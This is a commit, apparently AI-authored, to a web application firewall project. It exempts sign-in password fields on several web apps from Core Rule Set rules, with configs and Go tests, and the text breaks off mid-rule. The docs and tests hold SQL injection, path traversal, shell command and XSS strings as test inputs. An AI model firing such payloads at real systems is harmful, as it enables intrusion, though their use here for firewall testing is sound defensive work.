Core Rule Set: random passwords pass at sign-in (closes #276)

A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5

README.md

@@ -602,6 +602,10 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
       WebDAV methods, searches, file names, account names, comments and
       documents do too.
+- A random password, as a password manager makes one, gets through these forms:
+    - signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
+    - signing in, signing up, changing the password, and moving or deleting the
+      account, on Mastodon.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again

SPEC.md

@@ -919,7 +919,20 @@ The changes hold in front of every app, and no setting undoes them:
         - `content` of a reply to a comment sent to `admin-ajax.php`.
         - `newcontent` of a plugin's or a theme's file saved from its editor,
           which is PHP.
-        - `pwd` when signing in, for the list of system files (930120).
+        - `pwd`, the password when signing in, for each rule that random
+          passwords set off:
+
+            920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
+            932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
+            932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
+            941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
+            942540, 942550, 944150.
+
+            `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
+            `<img src=x onerror=x()>` sent as the password reach WordPress;
+            `<script>alert(1)</script>` and `javascript:alert(1)` are still
+            refused.
+
         - `title`, `excerpt` and `name` in a JSON body sent to any REST API
           route under `/wp/v2/`, for the rules on system files and commands
           (930120, 932120, 932250, 932260).
@@ -987,6 +1000,18 @@ The changes hold in front of every app, and no setting undoes them:
     - The body and comment body on the node and comment forms and through
       JSON:API, which hold HTML and any code it shows.
     - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
+    - `pass`, the password when signing in, in form data or JSON, for each rule
+      that random passwords set off:
+
+        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
+        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
+        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
+        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
+
+        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
+        `<img src=x onerror=x()>` sent as the password reach Drupal;
+        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
+
     - `name` when resetting a password through Drupal's JSON format on
       `/user/password`, for the same four rules.
     - `mail` in that same reset, for 932120 and 932260 only.
@@ -1066,6 +1091,20 @@ The changes hold in front of every app, and no setting undoes them:
         - `wpTextbox1` on MediaWiki's pages;
         - `text`, `appendtext` and `prependtext` on `/api.php`;
         - `source` in the JSON body of `/rest.php/`.
+    - The passwords when signing in:
+        - `wpPassword` on MediaWiki's pages;
+        - `lgpassword` and `password` on `/api.php`.
+
+        They skip each rule that random passwords set off:
+
+        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
+        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
+        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
+        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
+
+        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
+        `<img src=x onerror=x()>` sent as a password reach MediaWiki;
+        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
 
     These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
     applies when the query has a parameter of the same name.
@@ -1192,6 +1231,27 @@ The changes hold in front of every app, and no setting undoes them:
     Each name contains `.forward`, a file in a home folder. So 930120 refused
     every report the web app sent. The keys' values keep every rule.
 
+    The passwords in a body:
+    - on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
+      under them:
+        - `user[password]`, `user[password_confirmation]` and
+          `user[current_password]`;
+        - `account_migration[current_password]` and
+          `form_redirect[current_password]`;
+        - `form_delete_confirmation[password]`;
+    - `password` on `/api/v1/accounts`, in form data or JSON.
+
+    They skip each rule that random passwords set off:
+
+    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
+    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
+    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
+    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
+
+    `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
+    `<img src=x onerror=x()>` sent as a password reach Mastodon;
+    `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
+
     These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
     applies when the query has a parameter of the same name.
 
@@ -1324,6 +1384,19 @@ The changes hold in front of every app, and no setting undoes them:
       saves.
     - `name` on `/remote.php/dav/systemtags/`, a new tag.
 
+    `password` in the body of `/login`, the password when signing in, skips each
+    rule that random passwords set off:
+
+    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
+    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
+    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
+    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
+
+    It applies only when the query has no `password` parameter. `' OR '1'='1`,
+    `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
+    as the password reach Nextcloud; `<script>alert(1)</script>` and
+    `javascript:alert(1)` are still refused.
+
     Some fields hold sentences a person writes:
     - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
       API and on each share under it;

internal/coreruleset/coreruleset_test.go

@@ -1,8 +1,10 @@
 package coreruleset_test
 
 import (
+	"context"
 	"encoding/json"
 	"fmt"
+	"math/rand/v2"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
@@ -624,6 +626,263 @@ const passwordField = "password="
 //nolint:gochecknoglobals // a constant cannot be a list
 var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
 
+// randomPassword returns a password of 20 characters, each one of the 95
+// printable ASCII characters, space included, drawn from random.
+func randomPassword(random *rand.Rand) string {
+	const length = 20
+
+	var printable []byte
+	for c := byte(' '); c <= '~'; c++ {
+		printable = append(printable, c)
+	}
+
+	password := make([]byte, length)
+	for i := range password {
+		password[i] = printable[random.IntN(len(printable))]
+	}
+
+	return string(password)
+}
+
+// rarePasswords are random passwords from randomPasswords' seed, found among
+// the first 1,000,000. Each sets off the rule named beside it, which the first
+// 2,000 do not set off.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var rarePasswords = []string{
+	"x)g|E0f)~.um%00G]<oA",   // 920270
+	"uC?mK\\U2fEbXA}~j7fPb",  // 920540
+	"4;yfIDKZYNtZT)(w-=%@",   // 921200
+	"`sAIfEVdBprjxR$/.?\\d",  // 930100
+	"Unt@1xza,:%j$/..;5y+",   // 930110
+	"VN.CVsu^3vbUS==4Q&Y@",   // 930120
+	"gJ<EcT)jhZ'`GC>cX~hM",   // 932125
+	" /\"j14y[%\\(iM]zmG%=^", // 932130
+	"\\f*q5v$]$IfS3JoY:*r1",  // 932160
+	"*e#!-z{Jq)Sqwx@k:b:}",   // 932230
+	"pErl>vR[Z7K^<f%_4,WZ",   // 932260
+	"){2P,GU}a3mYvjq^(p1^",   // 932280
+	"xw4UGJk!-8#ZE(`.ij.O",   // 932330
+	" XVw(2mN5R,+%~_f\"n<?",  // 933100
+	"0ZK1D>`RHb+RW${/(z}C",   // 933135
+	"Ep3!qqe 7$RT(_)@SLV6",   // 933180
+	"&:4WomDrn$\"(SE_D);Ja",  // 933210
+	"='nlIgN7ON\\\\mWt=Tr84", // 941120
+	"P]/C>Ef]F-<sV,&gs.[4",   // 941160
+	"<!--a\"9Ju}r!2=J-kZDd",  // 941180
+	"@`].*EJ?`Cw^8\\orD!(f",  // 942151
+	"StTj*t:IF(Uq_<aG0mya",   // 942230
+	"t,D-oJjnvL Dn!o::Int",   // 942320
+	"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
+	"`aV#3${J4,\\h.q' k\\${", // 944150
+}
+
+// randomPasswords returns 2,000 random passwords from a fixed seed, then
+// rarePasswords.
+func randomPasswords() []string {
+	const count, seed = 2000, 276
+
+	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
+
+	passwords := make([]string, count, count+len(rarePasswords))
+	for i := range passwords {
+		passwords[i] = randomPassword(random)
+	}
+
+	return append(passwords, rarePasswords...)
+}
+
+// passwordBody returns a body of r's type, form data or JSON, that sends
+// each of passwords in the field name. Coraza checks each value of a field
+// on its own, and keeps every value of a JSON key sent more than once.
+func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
+	t.Helper()
+
+	if r.headers[0] != jsonBody {
+		return formBody(name, passwords...)
+	}
+
+	values := make([]string, len(passwords))
+
+	for i, password := range passwords {
+		pair, err := json.Marshal(map[string]string{name: password})
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		values[i] = strings.Trim(string(pair), "{}")
+	}
+
+	return "{" + strings.Join(values, ",") + "}"
+}
+
+// formBody returns a form data body that sends each of values in the field
+// name.
+func formBody(name string, values ...string) string {
+	fields := make([]string, len(values))
+	for i, value := range values {
+		fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
+	}
+
+	return strings.Join(fields, "&")
+}
+
+// setsOffARule reports whether body, form data sent to / as a browser
+// sends it, sets off a rule in crs.
+func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
+	req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
+		"http://git.example/", strings.NewReader(body))
+	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	req.Header.Set("Content-Length", strconv.Itoa(len(body)))
+	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
+		"Gecko/20100101 Firefox/131.0")
+	req.Header.Set("Accept", "text/html")
+
+	// The body is read from memory, which cannot fail.
+	result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
+
+	return len(result.RuleIDs) > 0
+}
+
+// findMisfiringPasswords returns those of randomPasswords that set off a
+// rule in the form data field password on /, which no exclusion names, while
+// bodies are read. It runs once, for every test that asks. Each body sends
+// ten passwords, and a body that sets off a rule is sent again one password
+// at a time.
+//
+//nolint:gochecknoglobals // the tests share it
+var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
+	const workers, perBody = 16, 10
+
+	crs, err := loaderFor(coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+	})()
+	if err != nil {
+		return nil, err
+	}
+
+	passwords := randomPasswords()
+	misfires := make([]bool, len(passwords))
+
+	var inspecting sync.WaitGroup
+
+	for worker := range workers {
+		inspecting.Go(func() {
+			for first := worker * perBody; first < len(passwords); first += workers * perBody {
+				last := min(first+perBody, len(passwords))
+				if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
+					continue
+				}
+
+				for i := first; i < last; i++ {
+					misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
+				}
+			}
+		})
+	}
+
+	inspecting.Wait()
+
+	var misfiring []string
+
+	for i, password := range passwords {
+		if misfires[i] {
+			misfiring = append(misfiring, password)
+		}
+	}
+
+	return misfiring, nil
+})
+
+// misfiringPasswords returns those of randomPasswords that set off a rule in
+// a field no exclusion names. The rules that misfire on a password read its
+// value, not the name of its field. So the other random passwords set off no
+// rule in any field.
+func misfiringPasswords(t *testing.T) []string {
+	t.Helper()
+
+	misfiring, err := findMisfiringPasswords()
+	if err != nil {
+		t.Fatalf("load the Core Rule Set: %v", err)
+	}
+
+	for _, rare := range rarePasswords {
+		if !slices.Contains(misfiring, rare) {
+			t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
+		}
+	}
+
+	return misfiring
+}
+
+// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
+// field name of r's body, is refused while bodies are read. r's Content-Type
+// is form data or JSON. Only the passwords misfiringPasswords returns set off
+// a rule in some field, so only they are sent, all in one body. If it is
+// refused, each is sent again on its own, to name those refused.
+func wantRandomPasswordsPass(t *testing.T, r request, name string) {
+	t.Helper()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := readingBodies(t)
+	misfiring := misfiringPasswords(t)
+
+	body := passwordBody(t, r, name, misfiring...)
+	if len(body) > bodyLimit {
+		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
+	}
+
+	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
+		return
+	}
+
+	for _, password := range misfiring {
+		body := passwordBody(t, r, name, password)
+		if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
+			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
+				password, got)
+		}
+	}
+}
+
+// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
+// shell command and a script in an event handler, each sent as the whole
+// password in the field name of r's body, pass while bodies are read.
+func wantPasswordAttacksPass(t *testing.T, r request, name string) {
+	t.Helper()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	for _, attack := range []string{
+		"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
+		"<img src=x onerror=x()>",
+	} {
+		body := passwordBody(t, r, name, attack)
+		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
+			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
+				attack, got)
+		}
+	}
+}
+
+// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
+// each sent as the whole password in the field name of r's body, are refused
+// while bodies are read.
+func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
+	t.Helper()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
+		body := passwordBody(t, r, name, attack)
+		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
+			t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
+				attack, got)
+		}
+	}
+}
+
 // wantRecordedRequestsPass checks that none of the recorded ordinary
 // requests in the file name in testdata is refused, at the defaults and
 // while bodies are read. A request with neither a body nor a Content-Type
@@ -1348,6 +1607,16 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
 	wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
 }
 
+func TestWordPressPasswordsPass(t *testing.T) {
+	t.Parallel()
+
+	signIn := request{http.MethodPost, wpLogin, []string{formData}}
+
+	wantRandomPasswordsPass(t, signIn, "pwd")
+	wantPasswordAttacksPass(t, signIn, "pwd")
+	wantPasswordAttacksRefused(t, signIn, "pwd")
+}
+
 func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
@@ -1405,6 +1674,9 @@ const injection = "1' OR '1'='1"
 // scriptTag is a script injection, not escaped.
 const scriptTag = "<script>alert(1)</script>"
 
+// pathTraversal is a path traversal, not escaped.
+const pathTraversal = "../../etc/passwd"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {

internal/coreruleset/drupal.conf

@@ -184,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
 
+# The password, pass, skips each rule that random passwords set off.
+SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
+    "id:900819,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
+        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
+
 # A person's name and email address, when signing up, when editing an
 # account and when commenting without an account. A name of python3 refused
 # signing up, and python3@example.com refused saving an account. An address

internal/coreruleset/drupal_test.go

@@ -109,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 			{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, drupalName + attack},
-			{drupalSignIn, "pass=" + attack},
 			{drupalSignIn, drupalName + attack},
 			{"/fr/user/login", drupalName + attack},
 			{"/user/register", drupalName + attack},
@@ -172,6 +171,23 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
+func TestDrupalPasswordPasses(t *testing.T) {
+	t.Parallel()
+
+	for _, r := range []request{
+		{http.MethodPost, drupalSignIn, []string{formData}},
+		{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
+	} {
+		t.Run(r.target, func(t *testing.T) {
+			t.Parallel()
+
+			wantRandomPasswordsPass(t, r, "pass")
+			wantPasswordAttacksPass(t, r, "pass")
+			wantPasswordAttacksRefused(t, r, "pass")
+		})
+	}
+}
+
 func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/mastodon.conf

@@ -176,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
 
+# The passwords named above skip each rule that random passwords set off.
+SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
+    "id:900965,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
+        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
+
+SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
+    "id:900966,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
